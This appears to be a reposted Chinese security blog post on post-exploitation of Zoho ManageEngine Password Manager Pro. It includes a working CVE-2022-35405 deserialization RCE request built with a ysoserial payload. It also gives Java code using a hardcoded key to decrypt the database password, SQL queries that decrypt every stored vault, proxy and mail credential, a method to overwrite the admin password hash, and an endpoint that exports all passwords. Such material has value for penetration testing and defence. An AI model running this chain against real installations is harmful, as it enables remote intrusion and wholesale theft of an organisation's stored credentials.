Zoho Password Manager Pro 后利用技巧

渗透技巧 2年前 (2022) admin
415 0 0

点击 / 关注我们

简介

学习zoho pmp这块相关知识点,简单做个总结


指纹

server=="PMP"

默认开启在7272端口

安装

  • • https://www.manageengine.com/products/passwordmanagerpro/help/installation.html

windows

下载安装包,双击一路下一步即可

https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe

访问127.0.0.1:7272

Zoho Password Manager Pro 后利用技巧
Untitled 1.png

linux

下载安装包

https://archives2.manageengine.com/passwordmanagerpro/10501/ManageEngine_PMP_64bit.bin

chmod a+ManageEngine_PMP_64bit.bin
./ManageEngine_PMP_64bit.bin -i console
cd /root/ManageEngine/PMP/bin
bash pmp.sh install

等待安装完毕,访问127.0.0.1:7272即可


ppm 文件

ppm是pmp的更新包,在windows上通过UpdateManager.bat进行安装,在linux上通过UpdateManager.sh进行安装

通过对比安装ppm包前后的文件结构可以粗略判断一些漏洞的影响点,修复点

  • • https://www.manageengine.com/products/passwordmanagerpro/help/faq.html


判断版本

在访问站点时,其默认加载的js、css路径中就包含了版本信息,如下图,12121代表其版本号

Zoho Password Manager Pro 后利用技巧
Untitled 5.png

在官方站点可以下载相应版本号的安装包

  • • https://archives2.manageengine.com/passwordmanagerpro/


CVE-2022-35405

这个洞影响范围 12100 及以下版本,在 12101 被修复

Zoho Password Manager Pro 后利用技巧
Untitled 6.png

poc

使用ysoserialCommonsBeanutils1来生成Payload:

java -jar ysoserial.jar CommonsBeanutils1 "ping xxxx.dnslog.cn" | base64 | tr -"n"

替换到下面的[base64-payload]部分

POST /xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Zoho Password Manager Pro 后利用技巧
Untitled 7.png

Zoho Password Manager Pro 后利用技巧
Untitled 8.png

Zoho Password Manager Pro 后利用技巧
Snipaste_2022-10-25_21-30-26.png


密钥文件

windows

以windows平台的pmp为例

database_params.conf文件中存储了数据库的用户名和加密数据库密码。

Zoho Password Manager Pro 后利用技巧
Untitled 9.png

# $Id$
# driver name
drivername=org.postgresql.Driver

# login username for database if any
username=pmpuser

# password for the db can be specified here
password=NYubvnnJJ6ii871X/dYr5xwkr1P6yGCEeoA=
# url is of the form jdbc:subprotocol:DataSourceName for eg.jdbc:odbc:WebNmsDB
url=jdbc:postgresql://localhost:2345/PassTrix?ssl=require

# Minumum Connection pool size
minsize=1

# Maximum Connection pool size
maxsize=20

# transaction Isolation level
#values are Constanst defined in java.sql.connection type supported TRANSACTION_NONE    0
#Allowed values are TRANSACTION_READ_COMMITTED , TRANSACTION_READ_UNCOMMITTED ,TRANSACTION_REPEATABLE_READ , TRANSACTION_SERIALIZABLE
transaction_isolation=TRANSACTION_READ_COMMITTED
exceptionsorterclassname=com.adventnet.db.adapter.postgres.PostgresExceptionSorter

# check is the database password encrypted or not
db.password.encrypted=true

可以看到默认 pgsql 用户为pmpuser,而加密的数据库密码为NYubvnnJJ6ii871X/dYr5xwkr1P6yGCEeoA=

pmp_key.key文件显示 PMP 密钥,这个用于加密数据库中的密码

Zoho Password Manager Pro 后利用技巧
Untitled 10.png

#本文件是由PMP自动生成的,它包含了本次安装所使用的AES加密主密钥。
#该文件默认存储在<PMP_HOME>/conf目录中。除非您的服务器足够安全,不允许其他任何非法访问,
#否则,该文件就有可能泄密,属于安全隐患。因此,强烈建议您将该文件从默认位置移动到
#PMP安装服务器以外的其它位置(如:文件服务器、U盘等),并按照安全存储要求保存该文件。
#Fri Oct 21 16:08:30 CST 2022
ENCRYPTIONKEY=G8N1EX+nkQlPVpd29eenVOYWCCS0oF/EPZdswlorot8=

Linux

database_params.conf`文件存放在`/root/ManageEngine/PMP/conf/database_params.conf
pmp_key.key`文件存放在`/root/ManageEngine/PMP/conf/pmp_key.key

恢复pgsql的密码

要连接pgsql,首先需要解密pmp加密的pgsql数据库密码

找下pmp对数据库密码的加密逻辑,在shielder的文章 https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/ 给出了加密类

Zoho Password Manager Pro 后利用技巧
Untitled 11.png

找到对应jar文件

Zoho Password Manager Pro 后利用技巧
Untitled 12.png

反编译查看解密的逻辑

Zoho Password Manager Pro 后利用技巧
Untitled 13.png

Zoho Password Manager Pro 后利用技巧
Untitled 14.png

可以发现encodedKey是取@dv3n7n3tP@55Tri*的5到10位

通过使用其DecryptDBPassword函数可以解密数据库密码,不过在shielder的文章中给出了解密的代码,直接解密

import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.lang.StringBuilder;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

class PimpMyPMP {
    public synchronized String decrypt(byte[] cipherText, String password) throws Exception {
        Cipher cipher;
        byte[] aeskey;

        for (int i = password.length(); i < 32; ++i) {
            password = password + " ";
        }
        if (password.length() > 32) {
            try {
                aeskey = Base64.getDecoder().decode(password);
            } catch (IllegalArgumentException e) {
                aeskey = password.getBytes();
            }
        }
        aeskey = password.getBytes();
        try {
            byte[] ivArr = new byte[16];
            for (int i = 0; i < 16; ++i) {
                ivArr[i] = cipherText[i];
            }
            cipher = Cipher.getInstance("AES/CTR/NoPadding");
            SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
            PBEKeySpec spec = new PBEKeySpec(new String(aeskey, "UTF-8").toCharArray(), new byte[]{1, 2, 3, 4, 5, 6, 7, 8}, 1024, 256);
            SecretKey temp = factory.generateSecret(spec);
            SecretKeySpec secret = new SecretKeySpec(temp.getEncoded(), "AES");
            cipher.init(2, (Key) secret, new IvParameterSpec(ivArr));

            byte[] cipherTextFinal = new byte[cipherText.length - 16];
            int j = 0;
            for (int i = 16; i < cipherText.length; ++i) {
                cipherTextFinal[j] = cipherText[i];
                ++j;
            }

            return new String(cipher.doFinal(cipherTextFinal), "UTF-8");
        } catch (IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException | NoSuchPaddingException |
                 InvalidKeyException | InvalidAlgorithmParameterException | InvalidKeySpecException ex) {
            ex.printStackTrace();
            throw new Exception("Exception occurred while encrypting", ex);
        }
    }

    private static String hardcodedDBKey() throws NoSuchAlgorithmException {
        String key = "@dv3n7n3tP@55Tri*".substring(5, 10);
        MessageDigest md = MessageDigest.getInstance("MD5");
        md.update(key.getBytes());
        byte[] bkey = md.digest();
        StringBuilder sb = new StringBuilder(bkey.length * 2);
        for (byte b : bkey) {
            sb.append(String.format("%02x", b));
        }
        return sb.toString();
    }

    public String decryptDBPassword(String encPassword) throws Exception {
        String decryptedPassword = null;
        if (encPassword != null) {
            try {
                decryptedPassword = this.decryptPassword(encPassword, PimpMyPMP.hardcodedDBKey());
            } catch (Exception e) {
                throw new Exception("Exception ocuured while decrypt the password");
            }
            return decryptedPassword;
        }
        throw new Exception("Password should not be Null");
    }

    public String decryptPassword(String encryptedPassword, String key) throws Exception {
        String decryptedPassword = null;
        if (encryptedPassword == null || "".equals(encryptedPassword)) {
            return encryptedPassword;
        }
        try {
            byte[] encPwdArr = Base64.getDecoder().decode(encryptedPassword);
            decryptedPassword = this.decrypt(encPwdArr, key);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
        return decryptedPassword;
    }

    public static void main(String[] args) {
        PimpMyPMP klass = new PimpMyPMP();
        try {
            // database_params.conf
            String database_password = "";
            System.out.print("Database Key: ");
            System.out.println(klass.decryptDBPassword(database_password));

            // pmp_key.key
            String pmp_password = "";

            // select notesdescription from Ptrx_NotesInfo
            String notesdescription = "";
            System.out.print("MASTER Key: ");
            System.out.println(klass.decryptPassword(notesdescription, pmp_password));

            // decryptschar(column, master_key)
            String passwd = "";
            System.out.print("Passwd: ");
            System.out.println(klass.decryptPassword(passwd, pmp_password));

        } catch (Exception e) {
            System.out.println("Fail!");
        }
    }
}

填入加密的数据库密码,查看结果

Zoho Password Manager Pro 后利用技巧
Untitled 15.png

可以看到密码为:sC1ekMrant

连接pgsql测试

Zoho Password Manager Pro 后利用技巧
Untitled 16.png

Zoho Password Manager Pro 后利用技巧
Untitled 17.png

这里注意,pmp默认的pgsql是只监听127的2345,无法外部连接,如果是rce打的,可以自行进行端口转发

Zoho Password Manager Pro 后利用技巧
Untitled 18.png


获取master key

在连接数据库后,查询加密的master key

select notesdescription from Ptrx_NotesInfo

Zoho Password Manager Pro 后利用技巧
Untitled 19.png

这里通过pmp_key.key文件中的PMP 密钥来解密master key

shielder的代码在解的时候有些问题,这里使用https://github.com/trustedsec/Zoinks项目来进行解密

Zoho Password Manager Pro 后利用技巧
Untitled 20.png

得到master key


解密数据库中的密码

首先先查询数据库中的存储的密码

select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'***master_key***') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID

master key替换语句里的***master_key***部分

Zoho Password Manager Pro 后利用技巧
Untitled 21.png

继续使用Zoinks进行解密

Zoho Password Manager Pro 后利用技巧
Untitled 22.png

这里解密出test资源,root用户的明文口令123456


解密代理配置

当配置了代理服务器时,同样用类似的方法进行查询和解密

Zoho Password Manager Pro 后利用技巧
Untitled 23.png

select proxy_id,direct_connection,proxy_server,proxy_port,username,decryptschar(ptrx_proxysettings.PASSWORD,'***master_key***') from ptrx_proxysettings

Zoho Password Manager Pro 后利用技巧
Untitled 24.png

Zoho Password Manager Pro 后利用技巧
Untitled 25.png


解密邮件服务器配置

pmp这个默认都是配置了邮件服务器的

select mailid,mailserver,mailport,sendermail,username,decryptschar(ptrx_mailsettings.PASSWORD,'***master_key***'),tls,ssl,tlsifavail,never from ptrx_mailsettings

Zoho Password Manager Pro 后利用技巧
Untitled 26.png


pg数据库postgres用户密码

select username,decryptschar(dbcredentialsaudit.PASSWORD,'***master_key***'),last_modified_time from dbcredentialsaudit

Zoho Password Manager Pro 后利用技巧
Untitled 27.png

Zoho Password Manager Pro 后利用技巧
Untitled 28.png


进入 pmp web后台

在数据库中查询web后台的账号密码

select * from aaauser;

Zoho Password Manager Pro 后利用技巧
Untitled 29.png

select * from aaapassword;

Zoho Password Manager Pro 后利用技巧
Untitled 30.png

这里密码是进行bcryptsha512加密的,可以用hashcat进行爆破

Zoho Password Manager Pro 后利用技巧
Untitled 31.png

也可通过覆盖hash的方式修改admin账号的密码,例如修改为下列数据,即可将admin密码改为test2

"password_id"   "password"  "algorithm" "salt"  "passwdprofile_id"  "passwdrule_id" "createdtime"   "factor"
"1" "$2a$12$bOUtxZzgrAu.3ApJM7fUYu7xBfxhJ4k2gx5CQE5BzMcN.cr/6cbhy"  "bcrypt"    "wwwECQECvU8zqfmCnXfSTgFnfz9CDl/cX+yDwJEhJ+91ADnOHbR0q7rOASpBqm2mQgYLHtlUJSX5u4ad7yOJpVNkoPJoI6gev75VAwAf/BTM4rpHTLT+cCdWMwnHmg=="  "1" "3" "1666345834309" "12"

注意⚠️:覆盖前务必备份源hash数据

Zoho Password Manager Pro 后利用技巧
Untitled 32.png

进入后台后可直接导出所有明文密码

/jsp/xmlhttp/AjaxResponse.jsp?RequestType=ExportPasswords

Zoho Password Manager Pro 后利用技巧
Untitled 33.png


本地 Web-Accounts reports 文件

在后台personal页面导出个人报告时可以选择pdf或xls格式,该文件在导出后会一直存在在服务器上

Zoho Password Manager Pro 后利用技巧
Untitled 34.png

这个问题在12122被修复

Zoho Password Manager Pro 后利用技巧
Untitled 35.png


Source & Reference

  • • https://www.trustedsec.com/blog/the-curious-case-of-the-password-database/

  • • https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

  • • https://y4er.com/posts/cve-2022-35405-zoho-password-manager-pro-xml-rpc-rce

  • • https://github.com/trustedsec/Zoinks

  • • https://www.manageengine.com/products/passwordmanagerpro/help/installation.html#inst-lin

  • • https://github.com/3gstudent/3gstudent.github.io/blob/main/_posts/—2022-8-12-Password Manager Pro漏洞调试环境搭建.md

  • • https://github.com/3gstudent/3gstudent.github.io/blob/main/_posts/—2022-8-17-Password Manager Pro利用分析——数据解密.md


推荐阅读:
CobaltStrike beacon二开指南
Edge浏览器-通过XSS获取高权限从而RCE
The End of AFR?
java免杀合集
ATT&CK中的攻与防——T1059

跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。

跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):Zoho Password Manager Pro 后利用技巧

版权声明:admin 发表于 2022年10月28日 下午3:27。
转载请注明:Zoho Password Manager Pro 后利用技巧 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...